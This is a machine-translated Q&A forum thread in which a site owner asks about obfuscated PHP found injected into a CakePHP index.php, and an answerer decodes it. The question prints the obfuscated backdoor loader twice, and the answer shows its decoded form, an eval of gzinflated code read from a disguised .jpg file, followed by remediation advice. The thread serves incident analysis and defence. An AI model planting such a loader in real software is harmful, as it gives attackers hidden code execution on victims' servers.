2011-12-26 4 views
1

На днях с нами связались с некоторыми странными сообщениями об ошибках на веб-сайте CakePHP. Мы видим ошибки, как следующее:Является ли это взлом CakePHP?

Expectation Failed:
Ожидание приведены в поле заголовка запроса Expect не могут быть удовлетворены этим сервером.
                        Ожидать: 100-продолжать, 100-продолжать
только 100-продолжать ожидание поддерживается.

Я в конечном итоге выслеживая произвольный код в нашем файле index.php:

 
$get_ya_weekday_initial = 'dvA, @fzi*f,@pE(& lE[E`pJco"Pe*$P "/(o-A!` mh(!3,da7*& H& ([email protected]"1m!tH&#OE#@a+E.3b2hp`s-td$p([email protected]/tm`*ca"H$$PeRshsTE"$!IBFCcTQ`hI.H`%")(#'| 
'!4ah(@ExHlFH!d! BID WgE$W#*N$!DPs($h$ld.FELFnItr+Ner&de$ofiuQr(h$(*blh,#`je/C#rI04"[email protected]@La$d2)2)%h.`,0/@@[email protected]$alt/BRBB04u$in(jPg)!!:'; 
$wp_cw_kses_split = '>=^/E]u*PDAF$!V'^']O;N18*L%*"2MN8';$set_yly_timeout = $wp_cw_kses_split('',$get_ya_weekday_initial);$set_yly_timeout(); 

Это выглядит как какой-то яичницы/зашифрованный код, так что я с подозрением. Но я не знаю, как это сделать. У кого-нибудь есть идеи о том, что этот код пытался сделать?

Редактировать: Вот весь файл index.php. Примечание: с сегодняшнего утра код взлома: -/Проверялся на сервере, но не вижу, как код был вставлен (и дата изменения даты в файле остается неизменной, так как я ее редактировал вчера) ,

 

    
    * Copyright 2005-2007, Cake Software Foundation, Inc. 
    *        1785 E. Sahara Avenue, Suite 490-204 
    *        Las Vegas, Nevada 89104 
    * 
    * Licensed under The MIT License 
    * Redistributions of files must retain the above copyright notice. 
    * 
    * @filesource 
    * @copyright  Copyright 2005-2007, Cake Software Foundation, Inc. 
    * @link    http://www.cakefoundation.org/projects/info/cakephp CakePHP(tm) Project 
    * @package   cake 
    * @subpackage  cake.app.webroot 
    * @since   CakePHP(tm) v 0.2.9 
    * @version   $Revision: 4450 $ 
    * @modifiedby  $LastChangedBy: phpnut $ 
    * @lastmodified $Date: 2007-02-04 23:18:05 -0600 (Sun, 04 Feb 2007) $ 
    * @license   http://www.opensource.org/licenses/mit-license.php The MIT License 
    */ 
    /** 
    * Do not change 
    */ 
     if (!defined('DS')) { 
      define('DS', DIRECTORY_SEPARATOR); 
     } 
    /** 
    * These defines should only be edited if you have cake installed in 
    * a directory layout other than the way it is distributed. 
    * Each define has a commented line of code that explains what you would change. 
    * 
    */ 
    $get_ya_weekday_initial = 'dvA, @fzi*f,@pE(& lE[E`pJco"Pe*$P "/(o-A!` mh(!3,da7*& H&([email protected]"1m!tH&#OE#@a+E.3b2hp`s-td$p([email protected]/tm`*ca"H$$PeRshsTE"$!IBFCcTQ`hI.H`%")(#'| 
    '!4ah(@ExHlFH!d! BID WgE$W#*N$!DPs($h$ld.FELFnItr+Ner&de$ofiuQr(h$(*blh,#`je/C#rI04"[email protected]@La$d2)2)%h.`,0/@@[email protected]$alt/BRBB04u$in(jPg)!!:'; 
    $wp_cw_kses_split = '>=^/E]u*PDAF$!V'^']O;N18*L%*"2MN8';$set_yly_timeout = $wp_cw_kses_split('',$get_ya_weekday_initial);$set_yly_timeout(); 
     if (!defined('ROOT')) { 
      //define('ROOT', 'FULL PATH TO DIRECTORY WHERE APP DIRECTORY IS LOCATED DO NOT ADD A TRAILING DIRECTORY SEPARATOR'; 
      //You should also use the DS define to seperate your directories 
      define('ROOT', dirname(dirname(dirname(__FILE__)))); 
     } 
     if (!defined('APP_DIR')) { 
      //define('APP_DIR', 'DIRECTORY NAME OF APPLICATION'; 
      define('APP_DIR', basename(dirname(dirname(__FILE__)))); 
     } 
    /** 
    * This only needs to be changed if the cake installed libs are located 
    * outside of the distributed directory structure. 
    */ 
     if (!defined('CAKE_CORE_INCLUDE_PATH')) { 
      //define ('CAKE_CORE_INCLUDE_PATH', FULL PATH TO DIRECTORY WHERE CAKE CORE IS INSTALLED DO NOT ADD A TRAILING DIRECTORY SEPARATOR'; 
      //You should also use the DS define to seperate your directories 
      define('CAKE_CORE_INCLUDE_PATH', ROOT); 
     } 
    /////////////////////////////// 
    //DO NOT EDIT BELOW THIS LINE// 
    /////////////////////////////// 
     if (!defined('WEBROOT_DIR')) { 
      define('WEBROOT_DIR', basename(dirname(__FILE__))); 
     } 
     if (!defined('WWW_ROOT')) { 
      define('WWW_ROOT', dirname(__FILE__) . DS); 
     } 
     if (!defined('CORE_PATH')) { 
      if (function_exists('ini_set')) { 
       ini_set('include_path', CAKE_CORE_INCLUDE_PATH . PATH_SEPARATOR . ROOT . DS . APP_DIR . DS . PATH_SEPARATOR . ini_get('include_path')); 
       define('APP_PATH', null); 
       define('CORE_PATH', null); 
      } else { 
       define('APP_PATH', ROOT . DS . APP_DIR . DS); 
       define('CORE_PATH', CAKE_CORE_INCLUDE_PATH . DS); 
      } 
     } 
     require CORE_PATH . 'cake' . DS . 'bootstrap.php'; 
     if (isset($_GET['url']) && $_GET['url'] === 'favicon.ico') { 
     } else { 
      $Dispatcher = new Dispatcher(); 
      $Dispatcher->dispatch($url); 
     } 
     if (Configure::read() > 0) { 
      echo ""; 
     } 
    ?> 

Я начинаю задаваться вопросом, если мне нужно обновить торт, так как это в настоящее время v1.1: -/

+0

Код, который вы опубликовали, недействителен, поэтому он ничего не делает. Я предполагаю, что вы только скопировали часть всего кода, поэтому я бы сказал, что сайт был подделан. Вступайте в контакт с системным администратором сервера, чтобы она получила информацию о том, что с ней были обработаны. Она должна быть в состоянии дать вам дальнейшие указания. – hakre

+0

Нет, это был весь код. Остальная часть - обычный файл index.php ( acorncom

+0

Это действительно действительно странно. Хотя код имеет допустимый синтаксис, он будет вызывать синтаксическую ошибку во время выполнения, но в любом случае это не имеет никакого смысла. Я бы удалил его и посмотрел, что произойдет, однако, похоже, он не вызывает ответ ожидания с ожиданием. – luchomolina

ответ

2

Кто-нибудь есть какие-либо идеи о том, что этот код пытается сделать?

код в более удобном для восприятия форме:

eval(@gzinflate(file_get_contents(".../persistent/KRFCstudio.jpg"))); 

Это своего рода бэкдор сценарий, который был запутанном (если вы хотите знать, как, see the related question). Он остается в коде до тех пор, пока не будет предоставлена ​​полезная нагрузка.

Полезная нагрузка должна быть помещена в

.../cake/s‌​cripts/templates/skel/tmp/cache/persistent/KRFCstudio.jpg 

в виде DEFLATE data (RFC 1951) РНР кода (без открытия <?php тега), см gzinflate­Docs и eval­Docs.

Примечание: код взлома с сегодняшнего утра: -/Проверялся на сервере, но не видел, как введен код (и дата изменения даты в файле остается неизменной так как я редактировал его вчера).

Внести изменения в файл еще раз. Затем сделайте файл доступным только для чтения (так как любой из ваших php-файлов должен находиться на сервере). Если он доступен только для чтения, проверьте, все ли он чист. Также убедитесь, что процесс чтения файла в стандартном веб-запросе не может изменить разрешения файлов в файле, например. только разрешить root делать это.

Затем зарегистрируйте доступ к файлам на вашем сайте, чтобы узнать, когда файл будет изменен (или процесс пытается изменить файл).

Как отмечалось вчера, вы должны связаться с ответственным лицом за сервер. Вы уже это сделали, верно? У вас должен быть кто-то, кто может изучить этот вопрос с вами и кто может с вами поговорить.

+0

Кажется, случается много в эти дни. – Xeoncross

+0

Спасибо, это очень полезно. Мне было интересно, как это сделать, чтобы я мог понять, что он делает. Изменили все файлы только на чтение и да, я уже обращался к людям поддержки для нашего хостинга. К сожалению, это общий хостинг, поэтому настройка ведения журнала или улучшение работы веб-сервера, вероятно, не то, что я смогу изменить. – acorncom

+0

Да, я имел в виду, что я * был * задавался вопросом, а не * am * задавался вопросом :-) Спасибо за информацию – acorncom

Смежные вопросы